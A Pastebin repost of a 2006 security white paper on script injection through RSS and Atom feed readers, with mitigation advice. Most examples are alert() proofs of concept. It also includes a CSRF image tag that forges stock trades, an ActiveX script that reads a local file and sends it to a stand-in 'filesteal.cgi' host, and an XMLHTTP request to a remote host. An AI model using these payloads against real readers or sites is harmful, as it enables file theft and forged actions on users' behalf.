Advertisement
xdxdxd123

Untitled

May 23rd, 2017
651
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.17 KB | None | 0 0
  1. Start Secure. Stay Secure.™
  2. Feed Injection in Web 2.0
  3. Hacking RSS and Atom Feed Implementations
  4. By Robert Auger, SPI Labs
  5. Start Secure. Stay Secure.™
  6. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  7. No reproduction or redistribution without written permission.
  8. ii
  9. Feed Injection in Web 2.0
  10. Table of Contents
  11. INTRODUCTION................................................................................. 3
  12. WEB FEEDS AS ATTACK VECTORS ...................................................... 4
  13. Readers treating <> as literals.................................................................. 4
  14. Readers converting the HTML entities to their true values.............................. 5
  15. Readers stripping out &lt; &gt; < and > during display ................................. 6
  16. RISKS BY ZONE ................................................................................. 7
  17. Remote Zone Risks.................................................................................. 7
  18. Local Zone Risks ..................................................................................... 8
  19. READER TYPE-SPECIFIC RISKS........................................................ 11
  20. Web Reader Risks...................................................................................11
  21. Web Site Risks.......................................................................................11
  22. USING A FEED AS A DEPLOYMENT VECTOR...................................... 12
  23. How Does One Utilize a Web Feed Vulnerability? .........................................12
  24. RISKS BY STANDARD....................................................................... 13
  25. RSS......................................................................................................13
  26. Atom ....................................................................................................13
  27. CONCLUSION................................................................................... 14
  28. REFERENCES AND ADDITIONAL READING....................................... 16
  29. ABOUT SPI LABS.............................................................................. 18
  30. ABOUT S.P.I. DYNAMICS INCORPORATED ....................................... 19
  31. Start Secure. Stay Secure.™
  32. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  33. No reproduction or redistribution without written permission.
  34. 3
  35. Feed Injection in Web 2.0
  36. Introduction
  37. One new feature of "Web 2.0", the movement to build a more responsive
  38. Web, is the utilization of XML content feeds which use the RSS and Atom
  39. standards. These feeds allow both users and Web sites to obtain content
  40. headlines and body text without needing to visit the site in question,
  41. basically providing users with a summary of that sites content. Unfortunately,
  42. many of the applications that receive this data do not consider the security
  43. implications of using content from third parties and unknowingly make
  44. themselves and their attached systems susceptible to various forms of
  45. attack.
  46. This white paper discusses various forms of attacks based on Web feeds that
  47. follow the RSS, Atom and XML standards. This paper does not extensively
  48. cover each XML element and its usage within Web-based feeds, nor does it
  49. address other vulnerability scenarios such as buffer overflows and other XML-
  50. specific risks. The goal of this paper is to outline the risks of lesser-known
  51. threats which are currently emerging on the Web utilizing Cross-Site
  52. Scripting.
  53. Start Secure. Stay Secure.™
  54. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  55. No reproduction or redistribution without written permission.
  56. 4
  57. Feed Injection in Web 2.0
  58. Web Feeds as Attack Vectors
  59. Browsers, local readers, Web sites and online portals such as Bloglines all
  60. subscribe to feeds. These applications automatically fetch new content at
  61. intervals defined either on the receiving client or by the feed itself. Once a
  62. user is subscribed, they are alerted to new entries where they can read the
  63. story title and usually a brief description of the story body. The RSS
  64. Specification states that story bodies (the <description> tag) allow HTML
  65. entities in order to allow HTML formatting, but it isn't 100% clear about the
  66. use of literal HTML tag inclusions. Our research of several Web feed readers
  67. revealed different approaches to treating feed input and passing content to
  68. users.
  69. Readers treating <> as literals
  70. A vast majority of the readers tested utilized IE components to display the
  71. data. In certain instances when a feed contained HTML tags, the viewer
  72. application served up the content literally. Below is an RSS 2.0 example of
  73. such a feed which has been simplified to only the relevant tags.
  74. <?xml version="1.0" encoding="ISO-8859-1"?> <rss version="2.0"> <channel>
  75. <title> <script>alert('Channel Title')</script>
  76. </title>
  77. <link>http://www.mycoolsite.com/
  78. </link>
  79. <description> <script>alert('Channel Description')</script> </description>
  80. <language>en-us
  81. </language>
  82. <copyright>Mr Cool 2006</copyright>
  83. <pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate> <ttl>10</ttl> <image>
  84. <title> <script>alert('Channel Image Title')</script>
  85. </title>
  86. <link>http://www.mycoolsite.com/</link>
  87. <url>http://www.mycoolsite.com/logo.gif</url>
  88. <width>144</width>
  89. Start Secure. Stay Secure.™
  90. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  91. No reproduction or redistribution without written permission.
  92. 5
  93. Feed Injection in Web 2.0
  94. <height>33</height>
  95. <description> <script>alert('Channel Image Description')</script> </description>
  96. </image>
  97. <item>
  98. <title> <script>alert('Item Title')</script> </title>
  99. <link>http://www.mycoolsite.com/lonely.html</link>
  100. <description> <script>alert('Item Description')</script> </description>
  101. <pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate> <guid>http://mysite/Mrguid</guid>
  102. </item>
  103. </channel>
  104. </rss>
  105. Multiple instances of script injection appear in this example. During the
  106. presentation phase the readers treat the data as a literal and thus execute
  107. any script contained in the feed, in this case JavaScript. This could be used to
  108. install malicious software on the client system, steal cookies, or for a wide
  109. range of nefarious purposes.
  110. Readers converting the HTML entities to their true values
  111. Most of the time, developers implemented the standard XML specification for
  112. their Web-based readers and converted HTML entities to their real values.
  113. Unfortunately, when they displayed this converted data they did not take into
  114. account the potential for script injection. This example uses an RSS 2.0 feed:
  115. <?xml version="1.0" encoding="ISO-8859-1"?>
  116. <rss version="2.0">
  117. <channel>
  118. <title> &lt;script&gt;alert('Channel Title')&lt;/script&gt; </title>
  119. <link>http://www.mycoolsite.com/</link>
  120. <description> &lt;script&gt;alert('Channel Description')&lt;/script&gt;
  121. </description>
  122. <language>en-us</language>
  123. <copyright>Mr Cool 2006</copyright>
  124. <pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate>
  125. Start Secure. Stay Secure.™
  126. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  127. No reproduction or redistribution without written permission.
  128. 6
  129. Feed Injection in Web 2.0
  130. <ttl>10</ttl>
  131. <image>
  132. <title> &lt;script&gt;alert('Channel Image Title')&lt;/script&gt; </title>
  133. <link>http://www.mycoolsite.com/</link>
  134. <url>http://www.mycoolsite.com/logo.gif</url>
  135. <width>144</width>
  136. <height>33</height>
  137. <description> &lt;script&gt;alert('Channel Image Description')&lt;/script&gt;
  138. </description>
  139. </image>
  140. <item>
  141. <title> &lt;script&gt;alert('Item Title')&lt;/script&gt; </title>
  142. <link>http://www.mycoolsite.com/lonely.html</link>
  143. <description> &lt;script&gt;alert('Item Description')&lt;/script&gt; </description>
  144. <pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate>
  145. <guid>http://mysite/Mrguid</guid>
  146. </item>
  147. </channel>
  148. </rss>
  149. Typically these RSS viewers converted &lt; to < and &gt; to > and then put
  150. that content into the content viewer (typically a browser component) which
  151. allowed for script execution. The vast majority of these readers converted
  152. the feed content and saved it to a file on the hard disk before loading it into
  153. the viewer. This opened up the local zone as detailed in the Local Zone Risks
  154. section later in this document.
  155. Readers stripping out &lt; &gt; < and > during display
  156. The safest readers were not affected because they stripped out both HTML
  157. entities and metacharacters before displaying the information to the user.
  158. Interestingly, readers supporting both RSS and Atom technologies had
  159. properly stripped them in one technology but not the other, and were
  160. therefore still vulnerable.
  161. Start Secure. Stay Secure.™
  162. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  163. No reproduction or redistribution without written permission.
  164. 7
  165. Feed Injection in Web 2.0
  166. If you are familiar with Cross-Site Scripting attacks you may be familiar with
  167. some of the things you can do with script injection. However, you may not
  168. see all of the implications regarding Web feed readers.
  169. Risks by Zone
  170. Remote Zone Risks
  171. Typically Web browsers and Web-based readers fall into the remote zone
  172. category. When a reader is vulnerable in the remote zone attackers are
  173. substantially limited in what they can do. However, there is still a potential
  174. for successful attacks.
  175. Cross-Site Request Forgery
  176. An attacker can utilize Cross-Site Request Forgery (CSRF or XSRF) attacks in
  177. various ways to make your machine send requests to a Web site in order to
  178. possibly execute commands. For example:
  179. <img
  180. src="http://www.mystocktradersite.com/transaction.asp?sell=google&buy=Microsoft&nums
  181. hares=1000">
  182. In the fictitious example above an attacker could inject an "<img src>" tag
  183. into a feed to make a system connect to a stock trading site named
  184. "www.mystocktradersite.com" to sell some stocks and buy others. Additional
  185. information on Cross-Site Request Forgery can be found in the References
  186. and Additional Reading section.
  187. Start Secure. Stay Secure.™
  188. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  189. No reproduction or redistribution without written permission.
  190. 8
  191. Feed Injection in Web 2.0
  192. Potential to launch attacks
  193. Since attackers can send requests to other sites, they could potentially trick
  194. your browser into carrying out Web-based attacks on their behalf. These
  195. attacks could cause Denial of Service conditions in the remote site, or if the
  196. site is vulnerable, execute commands on it. Here an attacker's advantage is
  197. that your IP will be logged and any resulting investigation by the victim may
  198. lead to you instead of to the attacker.
  199. POST data and spam
  200. Many Web applications utilize common Web libraries such as Perl's CGI.PM
  201. module for various functions including parameter fetching. Some of these
  202. libraries allow the developer to simply say "give me this parameter" without
  203. specifying if the request came into the application as POST data or GET. This
  204. means that if an attacker wanted to attack a remote machine's application
  205. and that application utilized POST, then it may be possible to convert these
  206. requests to GET and still be successful. Depending on the number of
  207. vulnerable subscribers, an attacker could exploit this "feature" and use
  208. thousands of victims to spam a particular site via submissions from Web
  209. forms.
  210. Local Zone Risks
  211. The readers which made users vulnerable to local zone attacks typically
  212. converted the feed to an HTML file, stored it to a local file and loaded it into
  213. an Internet Explorer instance. By loading the file from the disk they opened
  214. themselves to the local browser zone and its functionality. This functionality
  215. includes access to ActiveX objects with permissions to read and write files to
  216. Start Secure. Stay Secure.™
  217. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  218. No reproduction or redistribution without written permission.
  219. 9
  220. Feed Injection in Web 2.0
  221. the disk. The following simple example script below will read in a local file
  222. "c:\test.txt" and send a copy of it to a third party host.
  223. <script>
  224. txtFile="";theFile="C:\\test.txt";
  225. var thisFile = new ActiveXObject("Scripting.FileSystemObject");
  226. var ReadThisFile = thisFile.OpenTextFile(theFile,1,true);
  227. txtFile+= ReadThisFile.ReadAll();
  228. ReadThisFile.Close(); alert(txtFile);
  229. document.location='http://host/cgi-bin/filesteal.cgi?' + txtFile
  230. </script>
  231. When viewing the feed, the user is often immediately presented with an
  232. ActiveX warning asking if they wish to allow the script to execute before
  233. being able to see any of the content. Of course, savvy users will click No, but
  234. if most people were savvy in this way, we would not still have e-mail
  235. attachment viruses! We discovered a large percentage of local readers were
  236. in fact affected by this problem. Worse yet, some did not even warn the user
  237. before executing the ActiveX control.
  238. Besides the ability to access the file system and perform most of the attacks
  239. outlined in the Remote Zone Risks section, local zone access opens up other
  240. opportunities such as access to the "XMLHttp/XMLHttpRequest" object
  241. typically utilized by Ajax applications.This object is commonly limited to
  242. sending requests only to the same domain containing the code from which it
  243. came (in the remote zone). However, when in the local zone there is not a
  244. limit as to what can be requested. This allows an attacker to include code in
  245. a feed to scan the ports of a backend network, identifying open ports and
  246. potentially launching attacks automatically while behind the firewall without
  247. Start Secure. Stay Secure.™
  248. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  249. No reproduction or redistribution without written permission.
  250. 10
  251. Feed Injection in Web 2.0
  252. the user's knowledge. The potential for a worm is fairly obvious. The example
  253. below demonstrates sending a request to a remote host.
  254. <script>
  255. var post_data = 'name=value';
  256. var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
  257. xmlhttp.open("POST", 'http://attackedhost/foo/bar.php', true);
  258. xmlhttp.onreadystatechange = function () {
  259. if (xmlhttp.readyState == 4) {
  260. alert(xmlhttp.responseText);
  261. }
  262. };
  263. xmlhttp.send(post_data);
  264. </script>
  265. Additional presentations by Jeremiah Grossman provide examples of
  266. keystroke recording and direct attacker interaction with the user host and
  267. can be found in the References and Additional Reading section.
  268. Start Secure. Stay Secure.™
  269. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  270. No reproduction or redistribution without written permission.
  271. 11
  272. Feed Injection in Web 2.0
  273. Reader Type-Specific Risks
  274. Web Reader Risks
  275. People typically use browsers or local clients to subscribe to a Web-based
  276. feed. They are affected by both local and remote zone issues depending on
  277. the application's implementation. Online sites such as bloglines.com or
  278. Google provide Web-based feed viewers and fall into the remote zone risk
  279. category. Vulnerabilities in Web-based viewers grant attackers access to the
  280. site's zone (allowing cookie theft) and to common abilities often available for
  281. Cross-Site Scripting attacks.
  282. Web Site Risks
  283. The potential impact of a feed-based attack increases significantly when the
  284. feed being controlled is syndicated on other Web sites. For example, if an
  285. attacker-controlled feed was created on Site A and implemented on Site B,
  286. its content would be included in Site B's content. If Site B were also
  287. vulnerable to a Web feed attack, the attacker could then access Site B's
  288. remote zone and users. In some cases an attacker-controlled feed is included
  289. in feeds to other sites and also to users who in turn pass it elsewhere, rapidly
  290. expanding the base of possible victims.
  291. Start Secure. Stay Secure.™
  292. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  293. No reproduction or redistribution without written permission.
  294. 12
  295. Feed Injection in Web 2.0
  296. Using a Feed as a Deployment Vector
  297. In addition to the issues described above, the potential for using Web-based
  298. feeds as an exploit deployment vector for both known and zero-day exploits
  299. is rather large. This is even more apparent when a feed is re-syndicated in
  300. other sites' feeds. The potential exposed user base could be in the millions,
  301. making it an attractive method for worm deployment.
  302. How Does One Utilize a Web Feed Vulnerability?
  303. Vulnerabilities in Web feed clients can be utilized if:
  304. • The feed owner is malicious. This will not be the case in most
  305. situations, but is a possibility.
  306. • The site providing the feed was hacked. Defacement archives show
  307. thousands of sites being defaced daily. An attacker deciding to inject
  308. malicious payloads into a feed rather than deface the site has a
  309. greater chance of evading detection for a longer period of time, and
  310. thus to affect more machines.
  311. • Some Web-based feeds are often created from mailing lists, bulletin
  312. board messages, peer-to-peer (P2P) Web sites, BitTorrent sites or user
  313. postings on blogs. This provides a convenient method to inject a
  314. malicious payload.
  315. • The feed is somehow modified during the transport phase via Proxy
  316. Cache poisoning. While worth mentioning, the likelihood of this is slim.
  317. Start Secure. Stay Secure.™
  318. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  319. No reproduction or redistribution without written permission.
  320. 13
  321. Feed Injection in Web 2.0
  322. Risks by Standard
  323. RSS
  324. The most typical vulnerabilities in RSS-based readers were within the Feed
  325. Title, Feed Description, Item Title, Item Link and Item Description XML
  326. elements, though others can also be affected. In order to utilize these fields,
  327. attackers need only to insert their malicious payloads into them. Depending
  328. on the vulnerable reader, attackers may need to insert literal script injection,
  329. HTML entity injection, or a combination of the two. The following is a
  330. harmless example showing script injection using various methods in a story
  331. entry.
  332. <title><script>alert('Title Popup Example ')</script> </title>
  333. <link>&lt;script&gt;alert('Link Popup Example')&lt;/script&gt; </link>
  334. <description>&lt;script>alert('Description Popup Example')&lt;/script></description>
  335. </item>
  336. A vulnerable reader will attempt to display data within these fields and
  337. execute the script.
  338. Atom
  339. Similar to the issues discovered in RSS, Atom is affected in the equivalent
  340. fields in a large majority of affected applications. Common elements include
  341. the Author Name, Entry Updated Element, Feed Title, Feed Subtitle, Feed
  342. Updated Element, and Div elements as well as many others. The following is
  343. a harmless example showing script injection into an Atom story entry.
  344. <entry xmlns="http://www.w3.org/2005/Atom">
  345. <author>
  346. Start Secure. Stay Secure.™
  347. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  348. No reproduction or redistribution without written permission.
  349. 14
  350. Feed Injection in Web 2.0
  351. <name> <script>alert('Entry Author')</script> </name>
  352. </author>
  353. <published> <script>alert('Entry Published')</script> </published>
  354. <updated> <script>alert('Entry Updated')</script> </updated>
  355. <link href="http://site/" rel="alternate" title="Site's Feed" type="text/html"/>
  356. <id> <script>alert('Entry ID')</script> </id>
  357. <title type="html"><script>alert('Entry Title')</script></title>
  358. <content type="xhtml" xml:base="http://site/" xml:space="preserve">
  359. <div xmlns="http://www.w3.org/1999/xhtml">
  360. <script>alert('Entry Div XMLNS')</script>
  361. </div>
  362. </content>
  363. <draft xmlns="http://purl.org/atom-blog/ns#">false</draft>
  364. </entry>
  365. Conclusion
  366. Instead of focusing attacks on the server side, attackers have also begun
  367. active exploitation of client side vulnerabilities. This trend isn't expected to
  368. slow down anytime soon. Client-side vulnerabilities allow an attacker to
  369. execute payloads and extract information without the need to install any
  370. software, creating less overhead for the attacker. Web based feeds are
  371. quickly gaining in popularity and have been widely adopted as a mechanism
  372. for software and firmware updates. Vulnerabilities associated with feeds
  373. include Cross-Site Scripting, which continues to become a more interesting
  374. and dangerous attack vector with each passing month. Other risks, including
  375. keystroke logging and Cross-Site Request Forgery, are also on the rise.
  376. How can Web sites that provide feeds help to prevent security issues that
  377. arise from Feed Injection? Application developers can make a start by “white
  378. listing” certain HTML Tags such as <b>, <br>, and <font>. White listing
  379. refers to the practice of accepting input that is good, as opposed to trying to
  380. Start Secure. Stay Secure.™
  381. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  382. No reproduction or redistribution without written permission.
  383. 15
  384. Feed Injection in Web 2.0
  385. block input that is bad. Developers can also strip possibly malicious tags such
  386. as “<” and “>”. Although that will prevent the issues that have been
  387. discovered and discussed in this white paper, that approach will also have
  388. the unfortunate downside of possibly removing functionality and the ability to
  389. utilize HTML formatting. End-users can help to protect themselves by
  390. disabling script, applet, and plug-in execution, although that would tend to
  391. limit functionality.
  392. Start Secure. Stay Secure.™
  393. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  394. No reproduction or redistribution without written permission.
  395. 16
  396. Feed Injection in Web 2.0
  397. References and Additional Reading
  398. What is Web 2.0?
  399. http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09/30/what-is-
  400. web-20.html?page=3
  401. Wikipedia RSS Entry
  402. http://en.wikipedia.org/wiki/RSS_(file_format)
  403. Wikipedia List of Content Syndication Markup Languages
  404. http://en.wikipedia.org/wiki/List_of_content_syndication_markup_languag
  405. es
  406. XML Specification
  407. http://www.w3.org/TR/REC-xml/
  408. RSS Specification
  409. http://www.rss-specifications.com/rss-specifications.htm
  410. Atom Specification
  411. http://www.atomenabled.org/
  412. Cross-Site Request Forgery
  413. http://en.wikipedia.org/wiki/Cross-site_request_forgery
  414. Cross-Zone Scripting
  415. http://en.wikipedia.org/wiki/Cross_Zone_Scripting
  416. The Cross-Site Scripting FAQ
  417. http://www.cgisecurity.com/articles/xss-faq.shtml
  418. Ajax
  419. http://en.wikipedia.org/wiki/AJAX
  420. Yahoo Ajax Worm
  421. http://www.macworld.com/news/2006/06/16/ajax/index.php
  422. Yahoo RSS Vulnerability
  423. http://seclists.org/lists/bugtraq/2005/Oct/0205.html
  424. Start Secure. Stay Secure.™
  425. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  426. No reproduction or redistribution without written permission.
  427. 17
  428. Feed Injection in Web 2.0
  429. Phishing with Superbait
  430. http://www.whitehatsec.com/presentations/phishing_superbait.pdf
  431. Web Browser Customization
  432. http://msdn.microsoft.com/workshop/browser/hosting/wbcustomization.asp
  433. RSS 2.0 Best Practice Tip: Entity-encoded HTML in Descriptions
  434. http://myst-
  435. technology.com/mysmartchannels/public/item/11878?model=user/mtp/web&sty
  436. le=user/mtp/web
  437. Start Secure. Stay Secure.™
  438. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  439. No reproduction or redistribution without written permission.
  440. 18
  441. Feed Injection in Web 2.0
  442. About SPI Labs
  443. SPI Labs is the dedicated application security research and testing team of
  444. S.P.I. Dynamics. Composed of some of the industry’s top security experts,
  445. SPI Labs is specifically focused on researching security vulnerabilities at the
  446. Web application layer. The SPI Labs mission is to provide objective research
  447. to the security community and give organizations concerned with their
  448. security practices a method of detecting, remediating, and preventing attacks
  449. upon the Web application layer.
  450. SPI Labs industry leading security expertise is evidenced via continuous
  451. support of a combination of assessment methodologies which are used in
  452. tandem to produce the most accurate Web application vulnerability
  453. assessments available on the market. This direct research is utilized to
  454. provide daily updates to S.P.I. Dynamics’ suite of security assessment and
  455. testing software products. These updates include new intelligent engines
  456. capable of dynamically assessing Web applications for security vulnerabilities
  457. by crafting highly accurate attacks unique to each application and situation,
  458. and daily additions to the world’s largest database of more than 5,000
  459. application layer vulnerability detection signatures and agents. SPI Labs
  460. engineers comply with the standards proposed by the Internet Engineering
  461. Task Force (IETF) for responsible security vulnerability disclosure.
  462. Information regarding SPI Labs policies and procedures for disclosure are
  463. outlined on the S.P.I. Dynamics Web site at: http://www.spidynamics.com/spilabs/.
  464. Start Secure. Stay Secure.™
  465. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  466. No reproduction or redistribution without written permission.
  467. 19
  468. Feed Injection in Web 2.0
  469. About the Author
  470. Robert Auger is a research and development engineer for SPI Dynamics
  471. (www.spidynamics.com) where he is responsible for researching Internet
  472. security advisories, competitive products/services and vulnerabilities at the
  473. application layer. In addition, he is a member of the SPI Labs team, where he
  474. develops new methods for penetration (pen) testing and new Web application
  475. security techniques. Robert is considered an expert in Web application
  476. security due to his extensive knowledge and experience in this specific
  477. Internet security niche. Robert also co-founded the Web Application Security
  478. Consortium (WASC) in 2004, and leads the WASC-Articles project. He has
  479. also served as a technical advisor to the media, working on stories related to
  480. his area of expertise.
  481. About S.P.I. Dynamics Incorporated
  482. Start Secure. Stay Secure.
  483. Security Assurance Throughout the Application Lifecycle.
  484. S.P.I. Dynamics’ suite of Web application security products help
  485. organizations build and maintain secure Web applications, preventing attacks
  486. that would otherwise go undetected by today’s traditional corporate Internet
  487. security measures. The company’s products enable all phases of the software
  488. development lifecycle to collaborate in order to build, test and deploy secure
  489. Web applications. In addition, the security assurance provided by these
  490. products help Fortune 500 companies and organizations in regulated
  491. industries — including financial services, health care and government —
  492. Start Secure. Stay Secure.™
  493. © 2006 SPI Dynamics, Inc. All Rights Reserved.
  494. No reproduction or redistribution without written permission.
  495. 20
  496. Feed Injection in Web 2.0
  497. protect their sensitive data and comply with legal mandates and regulations
  498. regarding privacy and information security. Founded in 2000 by security
  499. specialists, S.P.I. Dynamics is privately held with headquarters in Atlanta,
  500. Georgia.
  501. Contact Information
  502. S.P.I. Dynamics Telephone: (678) 781-4800
  503. 115 Perimeter Center Place Fax: (678) 781-4850
  504. Suite 1100 Email: info@spidynamics.com
  505. Atlanta, GA 30346 Web: www.spidynamics.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement